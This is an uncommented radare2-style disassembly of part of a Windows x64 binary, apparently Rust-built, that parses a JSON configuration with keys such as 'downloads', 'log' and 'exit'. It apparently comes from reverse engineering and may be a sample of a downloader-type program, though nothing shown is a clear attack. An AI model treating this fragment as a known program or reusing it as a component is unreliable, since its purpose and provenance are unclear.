lea rcx, [rsp + 0x6b8]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rsp + 0x270]
movups xmmword [rcx], xmm0
mov byte [rsp + 0x6b0], 5
mov byte [rsp + 0x338], 0
mov qword [rsp + 0x2f0], rbx
mov qword [rsp + 0x2f8], 1
mov qword [rsp + 0x300], rbx
mov qword [rsp + 0x320], rbx
mov qword [rsp + 0x330], rbx
movabs rax, 0x8000000000000000
mov qword [rsp + 0x308], rax
mov rdx, qword [rsp + 0x6e0]
mov r8, qword [rsp + 0x6e8]
lea rcx, [rsp + 0x478]
call fcn.140020a80
mov r8, qword [rsp + 0x480]
mov r9, qword [rsp + 0x488]
mov rcx, r12
mov rdx, rdi
call fcn.14000609f
mov byte [rsp + 0xb8], 1
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x2d0], rax
movups xmm0, xmmword [rsp + 0x70]
movaps xmmword [rsp + 0x2c0], xmm0
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x90]
lea rax, [rsp + 0x90]
movups xmm0, xmmword [rax + 0x10]
movups xmm1, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x2f0], xmm0
movaps xmmword [rsp + 0x300], xmm1
mov al, byte [0x1400cdcc0]
mov edx, 0x80
xor ecx, ecx
call fcn.14005b1d0
test rax, rax
je 0x140018f2f
mov qword [rsp + 0x70], 0x80
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x500], r12
lea rcx, [rsp + 0x6b0]
lea rdx, [rsp + 0x500]
call fcn.140001609
movups xmm0, xmmword [rsp + 0x70]
movaps xmmword [rsp + 0x220], xmm0
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x230], rax
mov rbx, qword [rsp + 0x220]
mov rax, rbx
neg rax
jno 0x140014ee3
lea rcx, [rsp + 0x228]
call fcn.140002e23
mov r14d, 1
xor ebx, ebx
xor r15d, r15d
jmp 0x140014ef3
mov r14, qword [rsp + 0x228]
mov r15, qword [rsp + 0x230]
shl rdi, 1
test rdi, rdi
je 0x140014f0d
mov rcx, qword [0x1400cdc50]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rsp + 0x2d0]
mov qword [rsp + 0x140], rax
movaps xmm0, xmmword [rsp + 0x2c0]
movaps xmmword [rsp + 0x130], xmm0
mov qword [rsp + 0x148], rbx
mov qword [rsp + 0x150], r14
mov qword [rsp + 0x158], r15
movaps xmm0, xmmword [rsp + 0x2f0]
movaps xmm1, xmmword [rsp + 0x300]
lea rax, [rsp + 0x160]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
mov al, byte [0x1400cdcc0]
mov edx, reloc.SHLWAPI.dll_SHCreateMemStream
xor ecx, ecx
call fcn.14005b1d0
test rax, rax
je 0x140018f3e
mov rsi, rax
movabs rax, 0x2d746e65746e6f43
mov qword [rsi], rax
mov dword [rsi + 8], 0x65707954
mov al, byte [0x1400cdcc0]
mov edx, 0x10
xor ecx, ecx
call fcn.14005b1d0
test rax, rax
je 0x140018f4d
movdqu xmm0, xmmword [0x14008b51b]
movdqu xmmword [rax], xmm0
mov ecx, 0x10
mov qword [rsp + 0x118], rcx
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], rcx
mov r15, qword [rsp + 0x160]
test r15, r15
je 0x140015105
mov rdi, qword [rsp + 0x168]
lea rax, [r15 + 8]
movzx ebx, word [r15 + 0x21a]
lea ecx, [rbx*8]
lea r14, [rcx + rcx*2]
mov r12, 0xffffffffffffffff
test r14, r14
je 0x14001506d
lea r13, [rax + 0x18]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
mov rbp, r8
sub rbp, 0xc
mov eax, reloc.SHLWAPI.dll_SHCreateMemStream
cmovae r8, rax
neg rbp
mov rcx, rsi
call fcn.140082380
cdqe
test eax, eax
cmovne rbp, rax
xor ecx, ecx
test rbp, rbp
setne cl
mov eax, 0xff
cmovs ecx, eax
add r14, 0xffffffffffffffe8
inc r12
mov rax, r13
cmp cl, 1
je 0x140015011
movzx eax, cl
test eax, eax
jne 0x140015070
jmp 0x14001508f
mov r12, rbx
lea r14, [rsp + 0x2f0]
sub rdi, 1
jb 0x140015110
mov r15, qword [r15 + r12*8 + 0x220]
jmp 0x140014ff3
mov rcx, qword [0x1400cdc50]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rax, [r12 + r12*2]
mov rcx, qword [r15 + rax*8 + 0x110]
mov r8, qword [r15 + rax*8 + 0x118]
movdqu xmm0, xmmword [rsp + 0x118]
movdqu xmmword [r15 + rax*8 + 0x110], xmm0
mov rdx, qword [rsp + 0x128]
mov qword [r15 + rax*8 + 0x120], rdx
shl rcx, 1
test rcx, rcx
lea r14, [rsp + 0x2f0]
lea r12, [rsp + 0x70]
je 0x14001585f
mov rcx, qword [0x1400cdc50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14001585f
xor r15d, r15d
lea r14, [rsp + 0x2f0]
mov eax, reloc.SHLWAPI.dll_SHCreateMemStream
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rsi
mov qword [rsp + 0x80], rax
lea rax, [rsp + 0x160]
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], r15
mov qword [rsp + 0x98], 0
mov qword [rsp + 0xa0], r12
test r15, r15
je 0x14001518c
cmp word [r15 + 0x21a], 0xb
jae 0x14001520c
mov rcx, r14
lea rdx, [rsp + 0x90]
lea r12, [rsp + 0x70]
mov r8, r12
lea r9, [rsp + 0x118]
call fcn.140004abc
jmp 0x14001584c
call fcn.140004f40
movzx ecx, word [rax + 0x21a]
cmp rcx, 0xb
jae 0x140019050
lea edx, [rcx + 1]
mov word [rax + 0x21a], dx
lea rcx, [rcx + rcx*2]
mov rdx, qword [rsp + 0x80]
mov qword [rax + rcx*8 + 0x18], rdx
movups xmm0, xmmword [rsp + 0x70]
movups xmmword [rax + rcx*8 + 8], xmm0
movdqu xmm0, xmmword [rsp + 0x118]
movdqu xmmword [rax + rcx*8 + 0x110], xmm0
mov rdx, qword [rsp + 0x128]
mov qword [rax + rcx*8 + 0x120], rdx
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 0
mov eax, 1
lea r12, [rsp + 0x70]
jmp 0x140015857
mov ebp, 4
cmp r12, 5
jb 0x140015359
je 0x140015356
cmp r12, 6
jne 0x140015811
mov ebp, 5
lea rdi, [rsp + 0x490]
lea rbx, [rsp + 0x5b0]
xor r12d, r12d
jmp 0x140015369
mov edi, 0x18
mov r14, qword [rsp + 0x338]
lea rcx, [rsp + 0x270]
lea rdx, [rsp + 0x2f0]
call fcn.140005704
test byte [rsp + 0x270], 1
je 0x14001529c
mov r15, qword [rsp + 0x278]
mov rax, qword [rsp + 0x280]
mov rcx, qword [rsp + 0x358]
sub r15, rcx
add r14, rcx
mov qword [rsp + 0x358], rax
jmp 0x1400152f2
cmp byte [rsp + 0x369], 0
jne 0x140013ab8
mov byte [rsp + 0x369], 1
cmp byte [rsp + 0x368], 1
jne 0x1400152ce
mov r14, qword [rsp + 0x358]
mov r15, qword [rsp + 0x360]
jmp 0x1400152e7
mov r14, qword [rsp + 0x358]
mov r15, qword [rsp + 0x360]
cmp r15, r14
je 0x140013ab8
sub r15, r14
add r14, qword [rsp + 0x338]
cmp rsi, qword [rsp + 0x220]
je 0x140015327
mov qword [rbx + rdi - 8], r14
mov qword [rbx + rdi], r15
inc rsi
mov qword [rsp + 0x230], rsi
add rdi, 0x10
cmp byte [rsp + 0x369], 1
jne 0x14001524d
jmp 0x140013ab8
mov qword [rsp + 0x20], 0x10
mov r8d, 1
mov r9d, 8
lea rcx, [rsp + 0x220]
mov rdx, rsi
call fcn.140084696
mov rbx, qword [rsp + 0x228]
jmp 0x1400152fc
mov rbp, r12
lea rdi, [rsp + 0x500]
lea rbx, [rsp + 0x4b8]
call fcn.140004f40
mov rsi, rax
movzx eax, word [r15 + 0x21a]
mov rcx, rbp
not rcx
add rcx, rax
mov word [rsi + 0x21a], cx
lea rdx, [rbp*8]
lea rdx, [rdx + rdx*2]
mov r13, qword [r15 + rdx + 8]
movups xmm0, xmmword [r15 + rdx + 0x10]
movaps xmmword [rsp + 0x2c0], xmm0
mov r8, qword [r15 + rdx + 0x120]
mov qword [rsp + 0x300], r8
movups xmm0, xmmword [r15 + rdx + 0x110]
movaps xmmword [rsp + 0x2f0], xmm0
cmp rcx, 0xc
jae 0x140019068
lea r8, [rbp + 1]
sub rax, r8
cmp rax, rcx
jne 0x140019079
lea rdx, [r15 + 8]
mov qword [rsp + 0x50], rdi
lea rdi, [r15 + 0x110]
shl r8, 3
lea r14, [r8 + r8*2]
add rdx, r14
lea rax, [rsi + 8]
shl rcx, 3
mov qword [rsp + 0x58], rbx
lea rbx, [rcx + rcx*2]
mov rcx, rax
mov r8, rbx
call fcn.140082480
mov rcx, rsi
add rcx, 0x110
add rdi, r14
lea r14, [rsp + 0x2f0]
mov rdx, rdi
mov r8, rbx
call fcn.140082480
mov word [r15 + 0x21a], bp
movaps xmm0, xmmword [rsp + 0x2c0]
movaps xmmword [rsp + 0x220], xmm0
mov rax, qword [rsp + 0x300]
lea rcx, [rsp + 0x228]
mov qword [rcx + 0x18], rax
movdqa xmm0, xmmword [rsp + 0x2f0]
movdqu xmmword [rcx + 8], xmm0
mov qword [rsp + 0x500], r15
xor eax, eax
mov qword [rsp + 0x4b8], rax
mov qword [rsp + 0x490], rsi
mov qword [rsp + 0x5b0], rax
mov rax, qword [rsp + 0x58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx]
mov qword [rsp + 0x2f0], rcx
mov qword [rsp + 0x2f8], rax
mov qword [rsp + 0x300], r12
lea rcx, [rsp + 0x2c0]
mov rdx, r14
lea r12, [rsp + 0x70]
mov r8, r12
lea r9, [rsp + 0x118]
call fcn.140004abc
mov rax, r13
neg rax
jo 0x14001584c
mov rax, qword [rsp + 0x240]
mov qword [rsp + 0x520], rax
movdqa xmm0, xmmword [rsp + 0x220]
movaps xmm1, xmmword [rsp + 0x230]
movaps xmmword [rsp + 0x510], xmm1
movdqa xmmword [rsp + 0x500], xmm0
mov rcx, qword [r15]
test rcx, rcx
je 0x140015726
xor eax, eax
xor ebx, ebx
movzx edx, word [r15 + 0x218]
mov qword [rsp + 0x5b0], r13
movaps xmm0, xmmword [rsp + 0x500]
lea r8, [rsp + 0x5b8]
movups xmmword [r8], xmm0
lea r9, [rsp + 0x510]
mov r8, qword [r9 + 0x10]
mov qword [rsp + 0x4a0], r8
movdqu xmm0, xmmword [r9]
movdqa xmmword [rsp + 0x490], xmm0
cmp rax, rbx
jne 0x140019029
movzx edi, dx
cmp word [rcx + 0x21a], 0xb
jb 0x14001582f
inc rax
cmp dx, 5
jae 0x1400155be
mov qword [rsp + 0x4b8], rcx
mov qword [rsp + 0x4c0], rax
mov qword [rsp + 0x4c8], 4
lea rbx, [rsp + 0x320]
jmp 0x140015655
je 0x1400155ed
cmp edi, 6
jne 0x14001562d
mov qword [rsp + 0x4b8], rcx
mov qword [rsp + 0x4c0], rax
mov qword [rsp + 0x4c8], 5
lea rbx, [rsp + 0x330]
xor edi, edi
jmp 0x140015655
mov qword [rsp + 0x4b8], rcx
mov qword [rsp + 0x4c0], rax
mov qword [rsp + 0x4c8], 5
mov rcx, r14
lea rdx, [rsp + 0x4b8]
call fcn.140004bce
mov rcx, qword [rsp + 0x320]
mov qword [rsp + 0x20], rsi
mov edx, 5
jmp 0x140015670
add rdi, 0xfffffffffffffff9
mov qword [rsp + 0x4b8], rcx
mov qword [rsp + 0x4c0], rax
mov qword [rsp + 0x4c8], 6
lea rbx, [rsp + 0x330]
mov rcx, r14
lea rdx, [rsp + 0x4b8]
call fcn.140004bce
mov rcx, qword [rbx]
mov qword [rsp + 0x20], rsi
mov rdx, rdi
lea r8, [rsp + 0x5b0]
lea r9, [rsp + 0x490]
call fcn.140004de0
mov r13, qword [rsp + 0x2f0]
mov r15, qword [rsp + 0x320]
lea rax, [rsp + 0x2f8]
movdqu xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movdqa xmmword [rsp + 0x2c0], xmm0
movaps xmmword [rsp + 0x2d0], xmm1
mov rax, qword [rax + 0x20]
mov qword [rsp + 0x2e0], rax
mov rax, qword [rsp + 0x328]
mov rsi, qword [rsp + 0x330]
mov rbx, qword [rsp + 0x338]
mov rcx, r13
neg rcx
jo 0x14001584c
mov rcx, qword [rsp + 0x2e0]
mov qword [rsp + 0x520], rcx
movdqa xmm0, xmmword [rsp + 0x2c0]
movaps xmm1, xmmword [rsp + 0x2d0]
movaps xmmword [rsp + 0x510], xmm1
movdqa xmmword [rsp + 0x500], xmm0
mov rcx, qword [r15]
test rcx, rcx
jne 0x14001552c
jmp 0x14001572a
xor ebx, ebx
xor eax, eax
mov rcx, qword [rsp + 0x520]
lea rdx, [rsp + 0x2f8]
mov qword [rdx + 0x20], rcx
movdqa xmm0, xmmword [rsp + 0x500]
movaps xmm1, xmmword [rsp + 0x510]
movups xmmword [rdx + 0x10], xmm1
movdqu xmmword [rdx], xmm0
mov qword [rsp + 0x2f0], r13
mov qword [rsp + 0x320], r15
mov qword [rsp + 0x328], rax
mov qword [rsp + 0x330], rsi
mov qword [rsp + 0x338], rbx
mov r14, qword [rsp + 0x160]
test r14, r14
je 0x140019151
mov rdi, qword [rsp + 0x168]
call fcn.140004f80
mov qword [rax + 0x220], r14
movzx ecx, word [rax + 0x21a]
xor edx, edx
mov r8, rdx
cmp rdx, rcx
adc rdx, 0
mov r9, qword [rax + r8*8 + 0x220]
mov qword [r9], rax
mov word [r9 + 0x218], r8w
cmp r8, rcx
jae 0x1400157d4
cmp rdx, rcx
jbe 0x1400157ad
inc rdi
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], rdi
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rsi
mov rcx, rax
mov rdx, rdi
lea r14, [rsp + 0x2f0]
mov r8, r14
lea r9, [rsp + 0x308]
call fcn.140004a15
jmp 0x14001584c
add r12, 0xfffffffffffffff9
mov ebp, 6
lea rdi, [rsp + 0x490]
lea rbx, [rsp + 0x5b0]
jmp 0x140015369
mov qword [rsp + 0x20], rsi
mov rdx, rdi
lea r8, [rsp + 0x5b0]
lea r9, [rsp + 0x490]
call fcn.140004de0
mov rax, qword [rsp + 0x170]
inc rax
mov qword [rsp + 0x170], rax
mov ecx, 9
lea rdi, [rsp + 0x270]
lea rsi, [rsp + 0x130]
rep movsq qword [rdi], qword [rsi]
mov bl, byte [rsp + 0x178]
lea rdx, [rsp + 0x2a0]
mov rax, qword [rdx + 0x10]
lea rcx, [rsp + 0x200]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
mov rax, qword [rdx - 8]
mov qword [rcx - 8], rax
movups xmm0, xmmword [rdx - 0x18]
movups xmmword [rcx - 0x18], xmm0
mov byte [rsp + 0x218], bl
movups xmm0, xmmword [rsp + 0x270]
movaps xmmword [rsp + 0x1d0], xmm0
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0x1e0], rax
cmp qword [rsp + 0x478], 0
je 0x1400158fc
mov r8, qword [rsp + 0x480]
mov rcx, qword [0x1400cdc50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov bl, byte [rsp + 0x218]
mov rdx, qword [rsp + 0x1d8]
mov r8, qword [rsp + 0x1e0]
lea rcx, [rsp + 0x270]
call fcn.140020a80
cmp qword [rsp + 0x210], 0
je 0x14001594e
mov rdx, qword [rsp + 0x200]
test rdx, rdx
je 0x140018f87
mov r8, qword [rsp + 0x208]
lea rcx, [rsp + 0x130]
call fcn.140005af1
xor eax, eax
jmp 0x140015960
xor eax, eax
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x140], rax
cmp rax, qword [rsp + 0x1e8]
jno 0x14001597e
movabs rax, 0x8000000000000000
mov qword [rsp + 0x2f0], rax
jmp 0x140015996
mov rdx, qword [rsp + 0x1f0]
mov r8, qword [rsp + 0x1f8]
mov rcx, r14
call fcn.14005fc01
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0x80], rax
movups xmm0, xmmword [rsp + 0x270]
movaps xmmword [rsp + 0x70], xmm0
mov rax, qword [rsp + 0x140]
lea rcx, [rsp + 0x90]
mov qword [rcx + 0x20], rax
movdqu xmm0, xmmword [rsp + 0x130]
movdqu xmmword [rcx + 0x10], xmm0
mov rax, qword [rsp + 0x300]
mov qword [rcx + 8], rax
mov rax, qword [rsp + 0x2f0]
mov qword [rcx - 8], rax
mov rax, qword [rsp + 0x2f8]
mov qword [rcx], rax
mov ecx, 9
mov rdi, r14
mov rsi, r12
rep movsq qword [rdi], qword [rsi]
mov byte [rsp + 0x338], bl
mov byte [rsp + 0x709], 0
lea rcx, [rsp + 0x2c0]
mov rdx, r14
call fcn.140006144
test byte [rsp + 0x2c0], 1
jne 0x14001634d
mov r13, qword [rsp + 0x2c8]
mov rbx, qword [rsp + 0x2d0]
mov rdi, qword [rsp + 0x2d8]
mov rcx, r12
mov rdx, rbx
mov r8, rdi
call fcn.140022060
test byte [rsp + 0x70], 1
lea rsi, [rsp + 0x220]
je 0x140015a8a
mov r15d, 1
test r13, r13
je 0x140015bbc
neg r13
jno 0x140015bc4
mov r8, qword [rsp + 0x78]
mov r13, rbx
jmp 0x140015a90
mov r8, rdi
mov rdi, rbx
mov r15, rdi
mov rcx, rsi
mov rdx, r15
call section..text
cmp qword [rsp + 0x220], 0
je 0x140015ba2
movdqu xmm0, xmmword [rsp + 0x220]
movups xmm1, xmmword [rsp + 0x230]
movups xmm2, xmmword [rsp + 0x240]
movaps xmmword [rsp + 0x290], xmm2
movaps xmmword [rsp + 0x280], xmm1
movdqa xmmword [rsp + 0x270], xmm0
mov byte [rsp + 0x709], 1
mov byte [rsp + 0x590], 0
mov r8d, 8
mov rcx, rsi
lea rdx, [0x14008b0a2]
call fcn.140001b4c
test rax, rax
je 0x140015b1d
mov rcx, rax
call fcn.14003f3f8
test al, al
je 0x140015b1d
mov byte [rsp + 0x590], 1
lea rcx, [rsp + 0x530]
call fcn.14000280b
xor eax, eax
mov qword [rsp + 0x530], rax
mov edx, 1
mov qword [rsp + 0x538], rdx
lea rcx, [rsp + 0x540]
movups xmmword [rcx], xmm8
mov qword [rsp + 0x550], rdx
mov qword [rsp + 0x558], rax
mov r8d, 6
mov rcx, rsi
lea rdx, [0x14008b52b]
call fcn.140001b4c
test rax, rax
je 0x140015cfc
cmp byte [rax], 4
jne 0x140015cfc
mov rdx, qword [rax + 0x18]
test rdx, rdx
je 0x1400190ad
mov rax, qword [rax + 0x10]
mov cl, byte [rax]
cmp cl, 3
jne 0x140015be1
mov r12, qword [rax + 0x10]
jmp 0x140015be4
mov rax, qword [rsp + 0x228]
mov qword [rsp + 0x70], rax
mov rcx, r12
call fcn.140002e23
jmp 0x140016336
mov r8, r13
jmp 0x140015a93
mov rcx, qword [0x1400cdc50]
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor r13d, r13d
xor r8d, r8d
jmp 0x140015a93
xor r12d, r12d
cmp rdx, 1
je 0x1400190b9
mov rbp, r15
cmp cl, 3
setne cl
cmp byte [rax + 0x20], 3
setne dl
jne 0x140015c06
mov r15, qword [rax + 0x30]
jmp 0x140015c09
xor r15d, r15d
or cl, dl
je 0x140015c17
lea r12, [rsp + 0x70]
jmp 0x140015cf9
mov rdi, qword [rax + 0x18]
test rdi, rdi
js 0x140019108
mov rbx, qword [rax + 0x38]
je 0x140015c48
mov al, byte [0x1400cdcc0]
xor ecx, ecx
mov rdx, rdi
call fcn.14005b1d0
test rax, rax
je 0x14001915d
mov rsi, rdi
jmp 0x140015c4f
mov eax, 1
xor esi, esi
mov qword [rsp + 0x710], rax
mov rcx, rax
mov rdx, r12
mov r8, rdi
call fcn.140082480
test rbx, rbx
js 0x140019117
lea r12, [rsp + 0x70]
je 0x140015c93
mov al, byte [0x1400cdcc0]
xor ecx, ecx
mov rdx, rbx
call fcn.14005b1d0
test rax, rax
je 0x14001916a
mov r14, rbx
jmp 0x140015c9b
mov eax, 1
xor r14d, r14d
mov rcx, rax
mov rdx, r15
mov r8, rbx
mov r15, rax
call fcn.140082480
lea rcx, [rsp + 0x530]
call fcn.14000280b
mov qword [rsp + 0x530], rsi
mov rax, qword [rsp + 0x710]
mov qword [rsp + 0x538], rax
mov qword [rsp + 0x540], rdi
mov qword [rsp + 0x548], r14
mov qword [rsp + 0x7d0], r15
mov qword [rsp + 0x550], r15
mov qword [rsp + 0x558], rbx
mov r15, rbp
lea rcx, [0x14000242e]
call fcn.140025ba0
mov rsi, rax
mov rbx, rdx
mov r14, qword [rsp + 0x568]
test r14, r14
je 0x140015e0e
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x50], r13
mov r12, qword [rsp + 0x578]
test r12, r12
je 0x140015dc3
mov r13, qword [rsp + 0x560]
movdqa xmm0, xmmword [r13]
pmovmskb ebp, xmm0
not ebp
lea rsi, [r13 + 0x10]
test bp, bp
jne 0x140015d79
movdqa xmm0, xmmword [rsi]
pmovmskb ebp, xmm0
add r13, 0xfffffffffffffb80
add rsi, 0x10
cmp ebp, 0xffff
je 0x140015d5c
not ebp
bsf eax, ebp
neg rax
lea rax, [rax + rax*8]
lea r15, [rax*8]
add r15, r13
cmp qword [r15 - 0x48], 0
je 0x140015da8
mov r8, qword [r15 - 0x40]
mov rcx, qword [0x1400cdc50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
dec r12
lea edi, [rbp - 1]
and edi, ebp
add r15, 0xffffffffffffffd0
mov rcx, r15
call fcn.14000280b
mov ebp, edi
test r12, r12
jne 0x140015d57
lea rax, [r14 + 1]
mov ecx, 0x48
mul rcx
add rax, 0xf
and rax, 0xfffffffffffffff0
add r14, rax
cmp r14, 0xffffffffffffffef
lea r12, [rsp + 0x70]
mov r13, qword [rsp + 0x50]
mov r15, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
je 0x140015e0e
mov r8, qword [rsp + 0x560]
sub r8, rax
mov rcx, qword [0x1400cdc50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rax, [rsp + 0x560]
movups xmmword [rax + 0x10], xmm7
movups xmmword [rax], xmm6
mov qword [rsp + 0x580], rsi
mov qword [rsp + 0x588], rbx
mov r8d, 9
lea rcx, [rsp + 0x270]
lea rdx, str.downloads
call fcn.140001b4c
test rax, rax
lea r14, [rsp + 0x2f0]
je 0x1400162b3
cmp byte [rax], 5
jne 0x1400162b3
mov rcx, qword [rax + 8]
xor edx, edx
mov r8, rcx
test rcx, rcx
setne r9b
je 0x140015e77
mov r8, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov dl, r9b
mov qword [rsp + 0x70], rdx
xor r9d, r9d
mov qword [rsp + 0x78], r9
mov qword [rsp + 0x80], rcx
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], rdx
mov qword [rsp + 0x98], r9
mov qword [rsp + 0xa0], rcx
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0xb0], r8
mov rcx, r12
call fcn.14003be64
test rax, rax
je 0x1400162b3
cmp byte [rdx], 4
jne 0x140015ec3
mov r9, qword [rdx + 0x18]
test r9, r9
je 0x140018ec0
cmp r9, 1
je 0x140018ed0
mov rcx, qword [rdx + 0x10]
cmp byte [rcx], 3
jne 0x140015ec3
cmp byte [rcx + 0x20], 3
jne 0x140015ec3
mov rbx, qword [rcx + 0x10]
mov r14, qword [rcx + 0x18]
mov rdi, qword [rcx + 0x30]
mov rsi, qword [rcx + 0x38]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
lea rcx, [rsp + 0x818]
call fcn.140020a80
test r14, r14
js 0x140019126
je 0x140015f4d
mov al, byte [0x1400cdcc0]
xor ecx, ecx
mov rdx, r14
call fcn.14005b1d0
test rax, rax
je 0x140019177
mov r12, r14
jmp 0x140015f55
mov eax, 1
xor r12d, r12d
mov qword [rsp + 0x610], rax
mov rcx, rax
mov rdx, rbx
mov r8, r14
call fcn.140082480
test rsi, rsi
js 0x140019135
mov qword [rsp + 0x68], r12
je 0x140015f9e
mov al, byte [0x1400cdcc0]
xor ecx, ecx
mov rdx, rsi
call fcn.14005b1d0
test rax, rax
je 0x140019184
mov qword [rsp + 0x1c8], rsi
jmp 0x140015faf
mov eax, 1
mov qword [rsp + 0x1c8], 0
mov qword [rsp + 0x108], r14
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x608], rax
mov rcx, rax
mov rdx, rdi
mov qword [rsp + 0x100], rsi
mov r8, rsi
call fcn.140082480
mov rcx, qword [rsp + 0x580]
mov rdx, qword [rsp + 0x588]
mov r12, qword [rsp + 0x820]
mov rbx, qword [rsp + 0x828]
mov r8, r12
mov r9, rbx
call fcn.140063e4f
mov rsi, rax
cmp qword [rsp + 0x570], 0
je 0x140016299
mov r14, qword [rsp + 0x560]
mov r15, qword [rsp + 0x568]
mov r13, r15
and r13, rsi
shr rsi, 0x39
mov qword [rsp + 0x110], rsi
movd xmm0, esi
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm10, xmm0, 0
xor ecx, ecx
xor esi, esi
mov qword [rsp + 0x60], rcx
movdqu xmm11, xmmword [r14 + r13]
movdqa xmm0, xmm11
pcmpeqb xmm0, xmm10
pmovmskb ebp, xmm0
test ebp, ebp
je 0x1400160aa
bsf eax, ebp
add rax, r13
and rax, r15
neg rax
lea rax, [rax + rax*8]
cmp rbx, qword [r14 + rax*8 - 0x38]
jne 0x1400160a0
lea rdi, [r14 + rax*8]
mov rdx, qword [rdi - 0x40]
mov rcx, r12
mov r8, rbx
call fcn.140082380
test eax, eax
je 0x140016100
lea eax, [rbp - 1]
and ax, bp
mov ebp, eax
jne 0x140016072
cmp rsi, 1
mov esi, 1
je 0x1400160d3
pmovmskb eax, xmm11
xor esi, esi
test eax, eax
setne sil
bsf eax, eax
add rax, r13
and rax, r15
mov qword [rsp + 0x268], rax
pcmpeqb xmm11, xmm9
pmovmskb eax, xmm11
test eax, eax
mov rax, qword [rsp + 0x60]
jne 0x1400161c1
add r13, rax
add r13, 0x10
add rax, 0x10
and r13, r15
mov rcx, rax
jmp 0x140016055
movdqu xmm0, xmmword [rdi - 0x30]
movups xmm1, xmmword [rdi - 0x20]
movups xmm2, xmmword [rdi - 0x10]
movaps xmmword [rsp + 0x150], xmm2
movaps xmmword [rsp + 0x140], xmm1
movdqa xmmword [rsp + 0x130], xmm0
mov rax, qword [rsp + 0x68]
mov qword [rdi - 0x30], rax
mov rax, qword [rsp + 0x610]
mov qword [rdi - 0x28], rax
mov rax, qword [rsp + 0x108]
mov qword [rdi - 0x20], rax
mov rax, qword [rsp + 0x1c8]
mov qword [rdi - 0x18], rax
mov rax, qword [rsp + 0x608]
mov qword [rdi - 0x10], rax
mov rax, qword [rsp + 0x100]
mov qword [rdi - 8], rax
cmp qword [rsp + 0x818], 0
je 0x140016188
mov rcx, qword [0x1400cdc50]
xor edx, edx
mov r8, r12
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor eax, eax
cmp rax, qword [rsp + 0x130]
lea r14, [rsp + 0x2f0]
lea r12, [rsp + 0x70]
mov r13, qword [rsp + 0x50]
mov r15, qword [rsp + 0x58]
jo 0x140015ec3
lea rcx, [rsp + 0x130]
call fcn.14000280b
jmp 0x140015ec3
mov rcx, qword [rsp + 0x268]
mov al, byte [r14 + rcx]
test al, al
js 0x1400161e1
movdqa xmm0, xmmword [r14]
pmovmskb eax, xmm0
bsf ecx, eax
mov al, byte [r14 + rcx]
and al, 1
movzx eax, al
sub qword [rsp + 0x570], rax
lea rax, [rcx - 0x10]
and r15, rax
mov rax, qword [rsp + 0x110]
mov byte [r14 + rcx], al
mov byte [r14 + r15 + 0x10], al
inc qword [rsp + 0x578]
neg rcx
lea rax, [rcx + rcx*8]
mov rcx, qword [rsp + 0x828]
mov qword [r14 + rax*8 - 0x38], rcx
movdqu xmm0, xmmword [rsp + 0x818]
movdqu xmmword [r14 + rax*8 - 0x48], xmm0
mov rcx, qword [rsp + 0x68]
mov qword [r14 + rax*8 - 0x30], rcx
mov rcx, qword [rsp + 0x610]
mov qword [r14 + rax*8 - 0x28], rcx
mov rcx, qword [rsp + 0x108]
mov qword [r14 + rax*8 - 0x20], rcx
mov rcx, qword [rsp + 0x1c8]
mov qword [r14 + rax*8 - 0x18], rcx
mov rcx, qword [rsp + 0x608]
mov qword [r14 + rax*8 - 0x10], rcx
mov rcx, qword [rsp + 0x100]
mov qword [r14 + rax*8 - 8], rcx
lea r14, [rsp + 0x2f0]
lea r12, [rsp + 0x70]
mov r13, qword [rsp + 0x50]
mov r15, qword [rsp + 0x58]
jmp 0x140015ec3
lea rcx, [rsp + 0x560]
lea rdx, [rsp + 0x580]
call fcn.14008376b
jmp 0x14001601c
mov byte [rsp + 0x591], 0
mov r8d, 3
lea rcx, [rsp + 0x270]
lea rdx, str.logDisabledapplication_jsonnewest
call fcn.140001b4c
test rax, rax
je 0x1400162ee
mov rcx, rax
call fcn.14003f3f8
test al, al
je 0x1400162ee
mov byte [rsp + 0x591], 1
mov byte [rsp + 0x592], 0
mov r8d, 4
lea rcx, [rsp + 0x270]
lea rdx, str.exit
call fcn.140001b4c
test rax, rax
je 0x140016329
mov rcx, rax
call fcn.14003f3f8
test al, al
je 0x140016329
mov byte [rsp + 0x592], 1
lea rcx, [rsp + 0x270]
